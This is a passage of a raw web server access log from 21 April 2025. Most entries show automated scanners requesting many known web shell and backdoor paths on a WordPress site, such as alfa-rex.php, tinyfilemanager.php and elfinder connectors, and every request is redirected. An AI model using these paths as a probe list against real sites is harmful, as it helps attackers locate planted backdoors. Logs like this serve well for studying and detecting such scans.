/wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:03 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:04 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:05 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:07 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:08 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:10 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:13 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:15 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:17 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:18 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:20 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:21 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:23 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:24 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:25 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:26 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:27 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:28 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:30 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:31 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:32 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:33 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:34 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:35 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:36 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:37 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:38 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:39 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:40 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:41 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:42 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:43 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:46 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:47 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:48 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:49 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:53 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:56 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:58 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:59 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:00 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:02 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:04 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:05 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:06 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:07 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:07 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:09 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:12 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:13 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:15 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:18 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:20 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:21 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:23 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:24 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:25 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:28 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:29 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:30 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:32 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:33 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:34 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:35 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:35 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:36 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:37 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:38 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:38 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:39 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:40 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:40 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:41 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:03:42 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:26 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:28 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:30 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:31 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:33 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:35 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:35 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:36 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:37 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:38 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:40 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:41 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:42 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:44 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:45 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:46 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:47 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:48 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:48 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:49 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:50 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:51 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:52 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:53 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:54 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:55 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:56 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:58 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:04:59 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:02 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:06 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:10 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:12 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:16 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:20 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:24 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:26 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:28 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:29 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:31 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:32 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:33 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:34 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:35 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:36 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:36 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:38 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:39 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:40 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:41 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:42 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:43 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:43 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:45 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:46 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:47 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:47 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:48 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:49 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:49 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:50 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.178.148.80 - - [21/Apr/2025:01:05:51 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 142.93.69.128 - - [21/Apr/2025:01:28:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 2602:fb33:0:1:ed34::c - - [21/Apr/2025:01:51:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 (compatible: Remo/0.1; +https://www.remotasks.com/en/info.txt)" 84.246.85.11 - - [21/Apr/2025:01:56:15 -0400] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+http://2ip.io)" 84.246.85.11 - - [21/Apr/2025:01:56:20 -0400] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+http://2ip.io)" 84.246.85.11 - - [21/Apr/2025:01:56:26 -0400] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+http://2ip.io)" 35.164.222.55 - - [21/Apr/2025:01:58:21 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872" 113.116.195.122 - - [21/Apr/2025:02:01:36 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [21/Apr/2025:02:01:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 43.165.70.220 - - [21/Apr/2025:02:07:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.100 - - [21/Apr/2025:02:22:44 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.100 - - [21/Apr/2025:02:22:45 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.161.162.180 - - [21/Apr/2025:02:29:31 -0400] "GET /admin/plugin/webUploader/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 208.100.26.236 - - [21/Apr/2025:02:32:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4131.4 Safari/537.36" 4.227.36.107 - - [21/Apr/2025:03:33:24 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.40 - - [21/Apr/2025:03:33:34 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 54.202.65.249 - - [21/Apr/2025:04:52:55 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2602:fb54:9bb:: - - [21/Apr/2025:04:58:49 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 162.0.232.217 - - [21/Apr/2025:05:19:32 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:05:21:10 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:05:22:23 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:05:22:28 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 4.227.36.97 - - [21/Apr/2025:05:31:31 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.213 - - [21/Apr/2025:05:32:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 207.211.165.241 - - [21/Apr/2025:06:26:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 194.38.23.16 - - [21/Apr/2025:06:28:47 -0400] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 52.164.243.121 - - [21/Apr/2025:06:46:05 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:14 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:22 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:28 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:36 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:42 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:50 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:46:57 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:07 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:17 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:24 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:30 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:34 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:39 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:42 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:46 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:51 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:54 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:47:58 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:04 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:09 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:14 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:19 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:23 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:25 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:30 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:32 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:35 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:37 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:40 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:42 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:46 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:49 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:52 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:48:57 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:01 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:04 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:08 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:12 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:16 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:19 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:22 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:25 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:27 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:31 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 